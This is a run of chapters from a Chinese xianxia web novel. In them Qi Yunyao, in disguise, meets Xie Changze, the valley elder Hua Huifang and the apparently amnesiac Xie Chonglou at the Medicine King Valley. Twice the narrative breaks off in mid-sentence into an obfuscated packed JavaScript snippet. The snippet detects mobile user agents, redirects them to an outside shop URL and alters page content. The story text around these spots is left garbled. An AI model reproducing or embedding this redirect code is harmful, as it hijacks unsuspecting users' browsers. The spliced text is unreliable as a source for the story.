谢长泽将这一切看在眼里,却无动于衷,垂眸盯着手中粗糙的茶杯。杯口豁了一道口,他指尖轻转,将豁口对准那群吵闹之人,才缓缓端起茶杯,浅啜一口。 “等兄弟们上去,定要灭了那魔头,哈哈哈!” 其中一人放声大笑,另一人立刻附和:“那诡医残害凡人与半仙,药王谷却不闻不问,简直尸位素餐!我看江湖门派就不该让半仙插手,地宗三派,就药谷出了这么个半仙长老,不干正事,反倒搞什么劳什子实验,抓无辜的人去折腾。等我们上去掀了那半仙的老巢,定能扬名万里,哈哈哈!” 谢长泽淡淡移开视线,沉默不语,只在心里盘算着自己的事。 就在这时,窗外猛地传来一声凄厉惨叫。 一个花红柳绿的身影跌跌撞撞在街上奔逃,身后竟追着七八个木偶人。木偶步履歪斜,可胜在身形高大、腿长步阔,不过数息,便已逼近逃者。 那人衣着花哨,脸上敷着浓艳脂粉,细看身形,却是个实打实的男子。 一声尖细凄厉的惨叫自他喉间挤出来,手腕已被木偶死死扣住。 他拼命挣扎,身躯扭转猛地一撞,竟将那具木偶掀翻在地。男子一怔,随即不管不顾,拔腿再逃。 “救命!救命啊!” 叫声凄厉尖锐,穿破长街,却无人敢上前搭救。 此地距药王谷不远,镇上人或多或少都听过那位西峰长老的传闻。木偶更是谷中独有的造物,谁都明白,这人是被长老盯上、要捉回去炼药折磨的可怜人。 眼看花衫男子再度要被擒住,暗处四道人影先动了。几人翻窗而下,长刀劈落,三两下便将那些木偶劈得碎裂倒地。 其中一人上前,正要查看他伤势。 可一抬眼对上那张浓眉大眼、又涂脂抹粉的脸,大汉眉角狠狠一抽,立即转身要装作从未见过。 谁知那人立刻嘤咛一声,扑上来抱住了他的小腿。 “多谢恩人救命,小男子感念大恩,愿以身相许!” 大汉吓得连声惊叫,猛地跳开,正要怒斥这人恩将仇报,话音却骤然顿住。 店内,谢长泽眼睫微抬,眸色一沉。 他一眼便看穿——这男子,是个极品炉鼎。 刚欲起身出门,一股异样气息忽然自头顶掠过。 谢长泽抬眼望去。 不知何时,小店屋脊之上,已静静蹲着一道小小的身影。逆光而立,面目隐在阴影里,看不真切。 “抓住他!” 话音未落,巷弄两侧、屋顶角落便猛地窜出十几个木偶人,木躯相撞发出“咔嗒”脆响,齐齐朝着那花衣男人扑去。 男人吓得魂飞魄散,踉跄着躲到四个大汉身后,脚刚抬起来想往后,目光扫过身后景象时,凄厉的惊叫瞬间破喉而出,比先前被木偶追赶时更甚几分。 四个江湖人闻言稍一分神,余光瞥见身后动静,脸色齐齐骤变——原本空旷的长街上,不知何时已黑压压站满了木偶人。这些木偶比先前追逐男人的那些还要高大数尺,关节连接处泛着冷硬金属光泽,转动时发出“嘎吱”的闷响,透着股凶戾。 他们被彻底包围了。 “怎么办啊大哥们?”花衣男人哭得眼泪鼻涕混着脸上的脂粉,糊得一脸斑驳,拼命往大汉们身后蜷缩,可他身形本就高大,即便弯腰弓背,发顶还是比四个大汉高出一截,那副狼狈又滑稽的模样,倒让紧绷的局势添了几分诡异。 “慌什么!”领头的大汉低喝一声,伸手拽了他一把,顺势将人圈在四人中间,长刀横在身前,目光锐利地扫过围上来的木偶,“别让它们近身!” 男人连忙收住哭声,软着嗓子嘤咛一声,又是千恩万谢,那刻意掐尖的语调黏腻得发慌,激得四个大汉浑身一僵,鸡皮疙瘩落了一地,却也顾不上呵斥—— 木偶已经逼至眼前,木掌带着凛冽的风拍了过来。 四大汉齐齐挥刀,寒光刚起,另一道更疾的剑光却先一步划破空气。 白影一闪,快得只剩一道残影,剑光落处,逼近的木偶人纷纷被挥退,木躯上劈出深深的裂痕,木屑飞溅。 剑光未歇,灰影已至,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢长泽与花秽芳同时顿住动作,齐齐顺着声音望去——远处街口,一道青衣身影缓步走来,身后只寥寥跟着几个身着素白衣衫的药童,步伐沉稳,自带一股清贵凛冽的气场,竟压过了周遭木偶的凶戾。 那人目光如炬,直直锁在屋檐上的花秽芳身上,语气平淡却藏着怒意,一字一句问道:“花秽芳,你在做什么?” “我……”花秽芳先前的桀骜与凶戾瞬间烟消云散,像被人掐住了脖颈的鸡仔,尖细的声音陡然弱了下去,连周身的气势都矮了半截。 他连屋檐上即将到手的花衣人都顾不上,身形一纵,便从屋檐上跳了下去,脚步踉跄却急切地直奔青衣男人而去,满是慌乱。 刚走到近前,他张了张嘴正要辩解,一道清脆的耳光声便骤然响起,力道之重,直接将他扇得踉跄着摔倒在地,苍白的脸颊上瞬间浮现出清晰鲜红的指印,嘴角甚至溢出一丝淡红。 “灵枢……”花秽芳捂着脸颊,声音带着委屈与慌乱,还想再说些什么为自己辩解,却被灵枢冰冷的语气硬生生打断。 “长老脑子不清楚了,”灵枢垂眸看着他,语气淡漠得近乎绝情,“把他丢回西峰。” “是!”身后的药童们不敢有半分迟疑,急速上前,两人一左一右架住地上的花秽芳,稳稳将人从地上拖了起来,押着他立在一边。剩下的药童则转身走向街中央,上前为那几个被绑住的江湖人松绑。 谢长泽见状,手腕一翻收了长剑,提溜着吓得浑身发颤的花衣人,脚尖轻点,身形轻盈地从屋檐上落下,对着灵枢微微躬身,语气恭敬地行礼道谢:“多谢灵谷主。” 可灵枢却连一个眼神都未分给她,余光落在花秽芳身上,语气冷淡疏离,带着明显的逐客之意:“谢掌门若是无病无灾,便请尽早离去吧——药王谷,不欢迎外人。” 话音落,他转身便走,青衫身影步履沉稳。身后的药童们押着还在低声嘟囔的花秽芳,亦步亦趋地跟在他身侧。木偶人们不知又怎么得了命令,四处乱窜,竟然瞬间消失得无影无踪。 谢长泽立在原地,微微躬身送行,转身便要带着尧云离开。可脚步刚挪动半寸,手腕便被一只温热的手紧紧拉住。他偏头,只见那张还糊着脂粉的花脸垂着,眼底褪去了先前的惊惧,满是难以掩饰的惊喜,声音里带着几分颤抖:“你是谢长泽?” 谢长泽身形一怔,眉峰微蹙,眼底掠过一丝怀疑,语气带着几分疏离却有礼:“您是?” “我是尧云啊!”尧云瞬间激动起来,抓着他手腕的力道又重了几分,眼底满是期盼,“你不记得我了吗?很多年前,在青云山附近,您救过我的命啊!” 谢长泽垂眸,故作头疼地揉了揉眉心,语气带着几分歉意与无奈:“抱歉尧公子,在下先前曾遭人暗算,受过重伤,很多过往的事情,已经记不大清了。” “记不清?”尧云声调陡然拔高,语气里满是难以置信,“可你明明答应过我的以身相许啊!你怎么能全然忘记了?” “啊?” 这道惊呼声并非出自谢长泽之口,而是来自一旁刚被松绑的四个江湖人。他们本就因先前被木偶制住而觉得丢脸,正缩着脖子准备悄悄溜走,却冷不丁听见这句“恩将仇报”般的话,不由得齐齐惊出声,脸上满是错愕。 可下一瞬,两道目光便齐齐射了过来——谢长泽的淡漠与尧云的愠怒交织,四个大汉心头一紧,忙不迭地捂住嘴,连大气都不敢喘,佝偻着身子,溜得比兔子还快,转瞬便消失在了巷尾。 “你怎么能忘记我?”尧云松开他的手腕,叉着腰,语气咄咄逼人,眼底满是委屈与不满,“我还没跟你算账呢!你那未婚妻又是怎么一回事?你当年明明答应了我,要和我一生一世一双人的!” “呃?” 谢长泽僵在原地,额角瞬间渗出细密的冷汗,眼底满是茫然与无措,显然被这一连串的质问问得手足无措,不知该如何回应。 他看着尧云还要继续纠缠,眉头皱得更紧,索性松了口,语气缓和了几分:“尧公子,此事说来话长,不如先同我回剑庄,咱们再慢慢商议。你如今这般模样,在外也多有不便……” “哼,你本来就该带我回去!”尧云打断他的话,叉着腰,脸上满是不屑,语气却没了先前的咄咄逼人,多了几分理所当然。 谢长泽无奈地摇了摇头,不再多言,转身在前边引路。尧云紧随其后,嘴里还在低声嘟囔着当年的事情,絮絮叨叨不停。 两人走出约莫数步,尧云忽的回头望去——只见灵枢一行人已走到街角,正要转出视线。他的目光,恰好与被药童押着的花秽芳对上。 四目相对的瞬间,两人不约而同地勾了勾唇角,露出一抹意味深长的笑,转瞬即逝。 可就在这笑意还未褪去的下一瞬,一只骨节分明、肤色清冷的手忽然伸了出来,精准地落在花秽芳右脸上,又是一记清脆响亮的耳光。力道依旧极重,打得花秽芳脑袋一偏,右脸刚消下去几分指印,左脸又添了新的红痕。 化名尧云的祁云耀:…… 花秽芳:!!! 37. 重逢 祁云耀是被吵醒的。 确切地说,是被一阵激烈的争吵声,硬生生从昏迷里拽了出来。 头疼得像要裂开,眼皮重得抬不起来,浑身上下没有一处不疼。他想动一动,却发觉身上压着什么东西——沉甸甸的,还带着一股熟悉的药香。 他费力掀开眼,入目是一片灰蒙蒙的天。 艰难低下头,才看清压在自己身上的人——花秽芳。 花秽芳昏迷不醒,头上的伤口已经不再流血,可呼吸微弱,整个人软趴趴地压着他,不省人事。 祁云耀费劲地挪动手臂,将他从身上轻轻挪开,这才松了口气。 他偏过头打量四周,发现自己正躺在一处小院的回廊上,被人随意堆在角落。 还没来得及想明白“这里是哪儿”“发生了什么”,屋里骤然传来的争吵声,便死死拽住了他的注意力。 “你把他们捡回来干什么?他那么喜欢往外跑,就让他死在外边好了!你还捡他回来做什么?” 男人的声音尖锐暴躁,一句句砸在空气里,“是嫌日子太安稳,非要给自己找事做吗!” 另一个声音轻轻响起,淡淡的,带着点委屈,又理直气壮:“我没有很闲,你叫我去采药我就去了。是有人在叫我,我才过去的。” 祁云耀的呼吸猛地一窒。 这个声音—— 他听过无数次,在梦里,在回忆里,在每一次快要撑不下去的时候把他推回现实。 “那你把喊你的人捡回来就行了,怎么还把另一个也带回来了!”男声厉声质问。 “可是喊我的人就是另一个人啊,不是花长老。”那声音更委屈了,“我又不认识他,可他却知道我是谁,万一他认识我呢?” “他不认识你!” “那他怎么知道我是谁?” “我怎么知道他为什么知道你是谁!” “那你凭什么说他不认识我。” “呼——” 祁云耀躺在门外,都能听见里面那人气急败坏、又无可奈何的粗重喘息。 忽然,门“哗啦”一声被拉开。 一个青色身影走出来,正是灵枢。 他扫了一眼地上的两人,又不耐烦地别开脸,冷声问: “你带他们回来的时候,被多少人看见了?” “呜……” 门内又走出一道身影。熟悉的,挺拔的身影。 谢重楼歪了歪头,眼珠轻轻转了转,抿着唇,像是在认真回想。 灵枢不耐烦地啧了一声:“说话!” “好吧。”谢重楼扳着手指,一个个数,“谷口玄婆婆、四个师兄、还有小一、小二、小四……” “停。”灵枢扶额。 可谢重楼压根不听,依旧执拗地把一路上见过的人,一个不落地全报了出来,直到数完才停下,漆黑乌亮的眼睛直直盯着他。 那模样,莫名又让灵枢火气直冒。 “你既然看见这么多西峰的人,为什么不把花秽芳丢给他们!还有,我让你停,你为什么不停!” “可是是你让我说的!”谢重楼立刻反驳,“你让我说,又让我停,那我到底是说,还是不说啊?” “我让你说你就说,让你停你就停!”灵枢语气傲慢又强势。 “不行。”谢重楼干脆利落地拒绝,“我觉得师傅你这样很没有礼貌,不应该这样的,你得等我把话说完才能开口。” “呼——哈哈——”灵枢猛地吐出口气,忽然低笑出声,笑声里满是压不住的火气。 谢重楼见他笑了,自己也跟着哈哈笑了两声,可就这两声,不知怎的又刺激到了灵枢,他脸色瞬间沉了下来,指着谢重楼的脑袋,咬牙切齿、一字一顿道: “你,现在,把他送到西峰去。”他抬脚踢了踢昏迷在地的花秽芳,“直接丢回去。这个——”又抬手指了指祁云耀,“送回原处。” 谢重楼歪了歪头,眼神里满是茫然:“可他认识我。” “他不认识你!” “那他怎么知道我是谁?” “我怎么知道!” “那你凭什么说他不认识我?” 灵枢的太阳穴突突直跳,火气直往头顶冲。他张了张嘴,一句话没说出来,猛吸一口气又狠狠吐出,忽然转身,一把揪住谢重楼的衣领,将人狠狠拎了起来,刚要怒喝,动作却骤然顿住。 只见谢重楼被他拎着,双脚离地,黑黝黝的眼睛眨了眨,一脸无辜地望着他,半点惧意也没有。 灵枢盯着他看了两秒,终究没发作,猛地松开手,把人放了下来。他深吸一口气,压下翻涌的火气,用尽最后一丝耐心,指着院外,道:“滚。” 谢重楼眨了眨眼,依旧一脸不解:“可是你还没告诉我,他为什么认识我。” “滚啊!!!”灵枢猛地窜进屋子,“哗啦”一声拉上门,将他们隔绝在外。 “那另一个人呢?真的要丢回原来的地方吗?”谢重楼依旧追问,半点没被吓到。 “随你开心!你想丢就丢,不想丢就送去西峰!听懂了吗!”灵枢怒喝声震得门板都在颤。 谢重楼被他吼得缩了缩脖子,终于乖乖转过身,往两人那里挪。可刚走几步,他又停了下来,几步窜回去,敲了敲门,又问:“那我把他们送到西峰之后呢?我还要回来采药吗?” 灵枢在里面半天没回答,谢重楼就不死心的一直敲一直敲,敲到里面传出“哐当——”一声,接着又是极度无力的叹息,他声音像是从牙缝里挤出来的,带着浓浓的无力感:“……随便你。” “哦。” 谢重楼乖乖点头,转身走向地上的祁云耀和花秽芳,可刚走到跟前,又停住了。 他又窜回去,不停敲门。 灵枢忍无可忍,几步靠近,猛地将门拉开,几乎是咬着牙问:“又怎么了!” 谢重楼伸出手指了指地上的两人,一脸认真道:“师傅!他们两个人,我一个人,搬不动。” 灵枢:…… “哈哈……哈哈哈……” 他浑身力气像是被瞬间抽干,猛地瘫坐下去,一手扶着门框,发出近乎崩溃的疯笑。 谢重楼满心不解,蹲到灵枢身边,偏着头想去看他的神情,追问:“师傅,你在笑什么啊?” “笑我为什么要收你为徒啊!哈哈……哈哈……” 灵枢崩溃地用头一下下撞着门框,仿佛恨不得当场撞得头破血流,血溅三尺。 “哈哈,是啊,为什么啊?”谢重楼跟着问。 灵枢深吸一口气,再深吸一口气。 他闭上眼,榨干最后一丝理智,抬头强行扯出一张假笑,咬牙切齿地挤出一句: “你看——院外有辆板车,你把它拉进来,把他们两个都推上去,拖去西峰。还有,今天师傅不想再看见你了,搬完就别再回来了,好吗?” 谢重楼盯着他笑着的脸,也跟着笑着点了点头。 旋即,“砰”一声,门被关上了。 谢重楼蹲在门外,认真思索了两秒,转身往院外去拉板车。 路过祁云耀身边时,他低头看了一眼。 四目相对。 祁云耀张了张嘴,想说什么,可谢重楼已经收回目光,脚步轻快地出了小院。 他躺在地上,望着那道熟悉到刻进骨子里的背影,心跳快得几乎要冲破胸膛。 是谢重楼!真的是他! 可为什么…… 他看起来,好像不认识自己了? 祁云耀躺在地上,看着那道背影消失在院门外,心跳还未平复,那道身影便又折了回来。 谢重楼拖着一辆破旧的板车,吱呀吱呀地进了院子。板车不大,刚好能躺下两个人。 他把板车停在祁云耀和花秽芳身边,蹲下身,歪着头打量着两人,像是在琢磨该先搬谁。 祁云耀张了张嘴,想说些什么,可嗓子干得像被砂纸磨过,只发出一个沙哑的气音。 谢重楼低头看了他一眼,没作声,转身先去抱花秽芳。 他抱人的姿势有些笨拙——不是扛也不是扶,反倒像是拖拽。原本想小心翼翼把花秽芳挪到车上,可两人重量实在太重,斜放的板车“哐当”一声翻倒在地,花秽芳也被他手滑甩了出去。 谢重楼“哎呀哎呀”地惊叫着,连忙去追滚落的花秽芳。期间,祁云耀又听见屋内传来一声沉重又无奈的叹息。 好不容易把花秽芳挪上车,他又折返回来,同样小心翼翼地去抱祁云耀。 祁云耀被他抱在怀里,鼻尖擦过他胸口的衣料,一股陌生的,清淡的草木香萦绕鼻尖。他眼眶一热,泪水差点夺眶而出。 谢重楼却全然不觉,这次倒学乖了,将祁云耀横抱起来,小心翼翼往板车挪去。可祁云耀个高腿长,膝盖不慎磕在板车边沿,两 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“那你……还记得以前的事吗?比如你小时候?” 谢重楼歪了歪头,像是在认真回想,片刻后轻轻摇了摇头:“不记得了。师傅说我一直在药王谷。” 祁云耀的心一点点往下沉,又追问:“那你记得……西门吗?” “西门?”谢重楼重复了一遍,眉头微微蹙起,努力回想了一阵,最后还是摇了摇头,“不记得。” 他低头看向祁云耀,眼神里第一次有了不一样的情绪——像在困惑。 他张了张嘴,正要说话,板车忽然颠簸了一下。 谢重楼立刻收回目光,转身安抚地拍了拍白鹿的脑袋,轻声说:“白白,慢点。” 祁云耀躺回车板上,望着灰蒙蒙的天空,心里又酸又胀,堵得发慌。 他不记得了。 真的什么都不记得了。 板车一路晃晃悠悠,终于抵达西峰。 谢重楼将缰绳系在旁边树上,刚要转身说话,就被一阵嘈杂的脚步声打断。 所有灵枢模样的小童与青年一齐涌了出来: “哎呀!这不是小公子吗!” “怎么又来了?上次不是刚来过?” “哎哟,这车上拉的是什么?这不是……大人吗!” “大人怎么啦!大人怎么啦……” 他们一拥而上,七嘴八舌地议论。后方屋舍窗边又探出一个个花秽芳模样的脑袋,他们不敢出来,却也担忧地伸长脖子,关注着这边动静。 “快快快,把大人抬进去!” “另一个,另一个也抬进去!” 几人七手八脚将祁云耀和花秽芳从板车上抬下,往院里走去。 祁云耀拼命挣扎,转过头,想再看谢重楼一眼,想跟他说一句话—— 可谢重楼根本没看他。 他的注意力,全在那只小白鹿身上。 白鹿正低着头,津津有味啃着西峰门前的一片灵草坪,嫩绿草叶被咬得咯吱作响。 “哎哎哎!别啃!那是大人养的!” 灵阿一冲上去想赶开白鹿,谢重楼却先一步挡在了前面。 他没有呵斥,也没有拉开白鹿,只是伸出手,轻轻捂住了它的耳朵。 然后抬起头,对着灵阿一认认真真道: “对不起,它饿了。它吃饱了就不吃了。” 灵阿一:??? 没上前帮忙的灵枢模样小童与青年面面相觑,一时不知该说什么。 白鹿依旧低头啃草,咯吱咯吱。 谢重楼就站在它身旁,一手捂着它的耳朵,一边对着周围人连连点头道歉: “对不起,对不起,它很快就吃饱了。” 然后又悄悄低下头对着白白用“尽管很小,但大家都能听见”的声音说:“白白你快吃吧,快吃快吃!” 灵枢们:…… 祁云耀被人抬着往山门里走,眼睁睁看着那道熟悉的身影越来越远。 他张了张嘴,想喊他的名字。 可嗓子发不出半点声音。 他只能看着谢重楼捂着白鹿的耳朵,站在一片狼藉的灵草坪上,认真、执拗、又理直气壮地—— 纵容他的小白鹿,啃完最后一口草。 38. 指责 祁云耀被抬去了他先前住过的小院。阿一们短暂过来关心了他几句,给他点上一尊香炉,便又叽叽喳喳地涌去照料花秽芳了。 他其实并未受伤,主要是炉鼎体的后遗症带来的灼痛。吸入香炉里的香气后,痛感顷刻间便被缓解,甚至几乎消失无踪。他撑着身子想起身,想去门口寻找谢重楼,可刚一挺直脊背,整个人便不受控制地一歪,像一滩烂泥似的滚落在地。 这时他才后知后觉地反应过来——阿一们给他点的,压根不是花秽芳那种压制疼痛的香,分明是迷药! 被迷药麻晕的最后一秒,祁云耀在心底暗自发誓:一定要找机会,去告发花秽芳养了这么多花阿一、花小一的存在。 再次醒来时,院中已是漆黑一片,唯有月亮漏下些许微弱的光,勉强映出屋内轮廓。 空气中还残存着一点麻药的淡香,被穿堂风卷着,散得七七八八,至少他此刻能明显感觉到,四肢不再像先前那般绵软无力、提不起劲。 祁云耀咬着牙,撑着冰冷的地面慢慢爬起来,浑身上下依旧酥酥麻麻的,骨头缝里还带着未散的痒意,每动一下都有些发沉。 他刚一抬头,目光猝不及防撞进一双泛着暗红的眼眸里——那双眼在昏暗的屋里格外刺眼,带着几分说不清的怨怼。 他被吓了一跳,惊叫一声,猛地跌坐回床上,后背重重磕上床头,疼得他龇牙咧嘴。 花秽芳冷着张脸,伸手点燃了桌上的红烛。烛火“噗”地一跳,光亮瞬间漫开,映出他那张白得近乎发光的脸,以及额头上缠着的一圈奇形怪状的纱布,歪歪扭扭,看着格外狼狈。 他脚边静静立着两柄剑:诉心斜倚在桌沿,剑刃在跳动的烛火下泛着淡淡的暗色流光;断不义则稳稳靠在诉心身上,通体漆黑如墨,仿佛能吞噬周遭所有的火光。 祁云耀目光落在他脑门上那圈惨不忍睹的纱布上,不自在地摸了摸鼻子,讪讪地移开视线。 花秽芳却依旧垮着张脸,语气冷冷:“令兄的手劲,真是让人望而生畏啊。” 祁云耀赶紧岔开话茬,抬眼质问道:“当初尹无霜追我们的时候,你怎么不还手?” “哈……”花秽芳像是没料到他会倒打一耙,挑了挑眉,反问道,“我连被人拒绝都会遭雷劈,你觉得我要是伤了人,那雷会不会直接劈死我?” 祁云耀皱了皱眉,显然自知理亏,不再接话。可转念一想,他又瞪圆了眼睛,往前凑了凑,语气带着质问:“我还没找你算账呢!你当初不是说谢重楼死了吗?那他现在是怎么回事!活生生站在我面前!” “我什么时候说他死了?”花秽芳一脸无辜地反问。 “你一开始就说他死了!在海边你算出来的,一直念叨着他死了、他死了,说他就是个死人!”祁云耀急得提高了声音,语气满是恼怒。 “你要找的人,不是谢青吗?”花秽芳眨了眨眼,依旧一脸困惑。 “原来你压根就算不出来我要找的人是谁!”祁云耀又气又急,“我喜欢的人怎么可能是谢青!我都没见过她!我要找的人,一直是谢重楼!” “你也没说清楚啊!”花秽芳学着他的语气,也倒打一耙,摊了摊手,“你当初要是明明白白说找谢重楼,我直接带你回药王谷找人就是了。” 祁云耀翻了个白眼,显然懒得再跟他争执,语气一缓,换了个要紧话题:“谢重楼是多久来药王谷的?” “十年前。”花秽芳垂眸回忆了片刻,缓缓开口,“当时灵枢去了趟青云剑庄,不知做了些什么,回来的时候就把他带在了身边,只说谢青托他代为照顾一阵。” “他十年前就已经失忆了?”祁云耀往前倾了倾身,语气急切地追问。 花秽芳点点头:“对,他刚来的时候,我就发现他不认识我了,也悄悄试探过。灵枢说,是谢青给他下了禁制,特意让他忘掉过去的一切。” “那他们之间,到底发生了什么事?谢青为什么要给他下禁制?”祁云耀眉头拧得更紧,追问不停。 “我不知道。”花秽芳摊了摊手,如实解释,“灵枢去青云剑庄的时候,特意不让我跟着,我也不清楚里面的内情。他带着谢重楼来药谷的时候,谢青就已经死了。” 祁云耀沉默片刻,又指着门外方向,轻声问道:“那他来的时候,就像现在这样吗?”见花秽芳一脸茫然,他连忙补充,“我是说年纪——他现在看着年纪变小了,身量也比以前矮了一截。” “嗯……这十年里,反倒还长大了些。”花秽芳歪着头想了想,语气不确定,“刚来的时候,比现在还要小,看着更稚嫩。” “他和那群半仙一样!他们都在变小!”祁云耀猛地攥紧拳头,语气无比笃定。 花秽芳挑了挑眉,不置可否。 祁云耀深吸一口气,又试探着问道:“关于‘血月之战’,你能说多少?” 花秽芳咧嘴一笑,放松地倚靠在桌沿上,语气随意:“都能说,没什么不能讲的。” “真的没有限制?”祁云耀皱了皱眉,显然有些不相信,毕竟血月之战事关重大,而花秽芳又诡异得很,万一触碰到一些禁制,说不定他们两个就要一起命丧天雷了。 “因为我知道的,不比你多多少。”花秽芳耸耸肩,语气坦然,“当年血月之战爆发时,我自身出了点事,不在此处,等我回来的时候,战事已经接近末尾了。所以我知道的,其实和你能查到的那些传闻、记录,也差不多。” 祁云耀闻言,缓缓低下头,开始默默思索起脑海中那些关于血月之战的零星记录,神色愈发凝重。 血月之战始于两百年前,前后不过十余年光阴,却惨烈到让修真界元气大伤——几乎一半天盟地宗的修士,都永远死在了这场战乱之中。 彼时,邪功《噬魂经》突然横空出世,此功分为上下两册,一册《天阳册》,一册《天阴册》,功法阴毒至极,修炼者无需苦修,便可直接掠夺其他生灵的修为与灵力。 是以短短数载,邪修势力便暴涨失控,所过之处,生灵涂炭,赤地千里。正道宗门接连被攻破,山门被毁,弟子惨遭屠戮,曾经繁荣的天盟地宗,一步步陷入万劫不复的黑暗之中。 就在这危亡之际,无名散修谢青突然横空出世。在她的奔走下,天盟地宗放下世代恩怨,摒弃前嫌,歃血为盟,齐心协力讨伐邪修。 这场战争一打便是十年,大小战役不计其数,正道修士个个以命相搏,浴血奋战,终于将邪修主力逼至其老巢,迎来了最终决战。 决战之夜,天地异象陡生,天空悬着一轮诡异的血色弯月,猩红的光芒洒满大地,映得山河皆赤,连风都带着血腥味。谢青手持灵剑,身姿挺拔如松,率领正道联盟修士奋勇冲锋,与邪修展开了一场惊天动地的厮杀。 剑光凌厉,邪火滔天,两者交织碰撞,嘶吼声、兵器交击声、悲鸣声响彻天地,血流成河,尸横遍野。最终,正道以近乎覆灭的惨胜,终结了这场浩劫——邪修被屠戮殆尽,作恶多端的邪教教主,更是被谢青一剑腰斩,魂飞魄散。 可“邪不压正”的背后,是正道修士近乎被清洗的沉重代价。 那一夜的血色弯月,那遍地的鲜血与骸骨,成为了所有幸存者心中永恒的烙印,这场惨烈的战役,也被修真界永远铭记,称作“血月之战”。 “半仙们变成这样,和《噬魂经》有关吗?”祁云耀直截了当地问。 “不知道。”花秽芳语气不太确定,“我只见过凡人修炼这门功法的下场,半仙会如何,我从未见过。” 祁云耀沉默了片刻,还想再问,花秽芳却打了个哈欠,摆了摆手:“今晚就到这儿吧,再聊下去天都要亮了。” 他站起身,晃晃悠悠朝门口走去,临出门前回头瞥了祁云耀一眼,似笑非笑: “别想着偷跑,药王谷的夜里可不太平。” 门被轻轻关上,脚步声渐渐远去。 祁云耀躺在榻上,望着天花板,脑子里反反复复,全是谢重楼捂着白鹿耳朵的模样。 翻来覆去,半点睡意也无。 于是他当即做出决定—— 偷跑。 他下了床,把耳朵紧紧贴在窗棂上,屏气凝神听了许久。直到院外彻底没了动静,才悄悄扒开一条门缝,探头往外偷瞄。 月辉清冷洒在院中,又斜斜落在廊檐下,四周静得出奇,连另一边常传来的病人哀嚎声,此刻也消失得无影无踪。 他才不管什么“药王谷夜里不太平”——眼下,只想立刻见到谢重楼。 祁云耀贴着墙根,放轻脚步慢慢往外挪,悄无声息地摸向院门。可路过一间门户大开的小屋时,他的脚步猛地一顿,浑身瞬间绷紧。 屋内,整整齐齐立着十几道人影。 他下意识屏住呼吸,借着月光定睛细看——竟是那些“花秽芳”和“灵枢”的复制品。 他们全都一动不动,直挺挺地站在原地,双眼紧闭,脑袋微微歪向一侧,模样竟像是……在睡觉? 祁云耀:… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250190|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 他心一横,悄悄往前挪了一步,脚尖刚轻轻落地,最靠近门边的灵小一忽然动了一下。祁云耀吓得浑身一僵,连忙稳住脚步,屏息凝神,死死盯着屋内,心提到了嗓子眼。 只见灵小一依旧闭着眼,只是脑袋微微一歪,轻轻靠在了旁边花小一的身上,便又没了动静,依旧维持着之前的模样。 祁云耀长长松了口气,连忙踮起脚尖,屏住呼吸,脚步轻快地快速遁走,不敢再多停留半分。 一路狂奔,祁云耀终于摸到了东峰。 小院还是记忆中的模样,只是院门已然关上,仅从上半部分的缝隙,以及围墙边隐约透出一点微弱的光。 他刚想悄悄靠近,脚步却忽然顿住——院门口,竟立着一道人影。 他起初还纳闷,为何院门只有上半截透光,凑近了才看清,原是门前站了个人,挡住了大半光亮。 花秽芳正贴在院门上,脑袋凑得极近,眼睛一眨不眨地往院里瞄,偷看得全神贯注,连自己峰上的药人偷跑出来,都浑然不觉。 祁云耀:…… 他沉默了两秒,压下心头的无语,轻手轻脚走过去,静静站到花秽芳身旁。 花秽芳在陌生气息靠近的瞬间,猛地扭头,眼中瞬间爆出狠戾,可看清身旁是祁云耀那张写满无语的脸时,凶光又讪讪收了回去,嘴角还扯出一点不自然的弧度。 四目相对,空气瞬间凝固,两人相对无言,只剩尴尬在蔓延。 祁云耀压低声音,质问:“你不是让我别偷跑吗?” 花秽芳梗着脖子,理直气壮反驳:“我是让你别偷跑,又没说我自己不来偷看。” 祁云耀:…… 两人就这么并肩站在人家院门前,你看看我,我看看你,场面一度十分尴尬。 忽的,院里传来一丝轻微的响动,两人立刻同步凑耳贴在门上,屏住呼吸仔细去听。 隐约传来灵枢极度疲倦、带着几分不耐的声音:“不是说了不想看见你吗?怎么又回来了?” 紧接着,是谢重楼理所当然的声音:“可是不回来的话,我没地方去了。” 灵枢发出一声极为痛苦的长叹,语气里满是无可奈何,显然是懒得再费口舌争执。 院里的声音渐渐消失了,门外的两人又陷入了大眼瞪小眼的尴尬境地。 沉默了片刻,祁云耀率先打破僵局,压低声音道:“你杵在这什么都看不清。” 花秽芳挑了挑眉,显然觉得他是要挤开自己,抢占先机:“哦?你有更好的办法?” 祁云耀抬眼扫了一圈不算太高的院墙,又瞥了眼身旁的花秽芳,淡淡开口:“不如上墙。” 花秽芳眼睛瞬间一亮。 两人对视一眼,心照不宣,同时手脚并用,悄无声息地爬上了院墙,并肩坐了下来。 一坐定,视野瞬间豁然开朗——院子里的景致尽收眼底,灵枢所在的屋舍的窗户半开着,隐约能看清里面的动静。 花秽芳满意地点了点头,压低声音夸赞:“还是你聪明,这位置可比贴门强多了。” 祁云耀面无表情,扯了扯嘴角,只发出一声敷衍的“哈……”。 两人就这么并肩坐在墙头上,借着清冷的月光,正大光明地开启了深夜偷窥。 他们选的位置极好,屋舍窗户半开,刚好能看见灵枢背对的半边肩膀,以及谢重楼的半张侧脸。 屋内两人对坐,灵枢不知在忙些什么,谢重楼却叼着一只茶杯,里面茶水早已喝空,只用牙齿轻轻磨着杯沿,发出细碎的摩擦声。 他还时不时偷偷抬眼,打量对面师傅的脸色,一被抓包就立刻缩回去,如此反复。 直到他无意间瞥见墙头上坐着的两个人。 谢重楼:??? 花秽芳:!!! 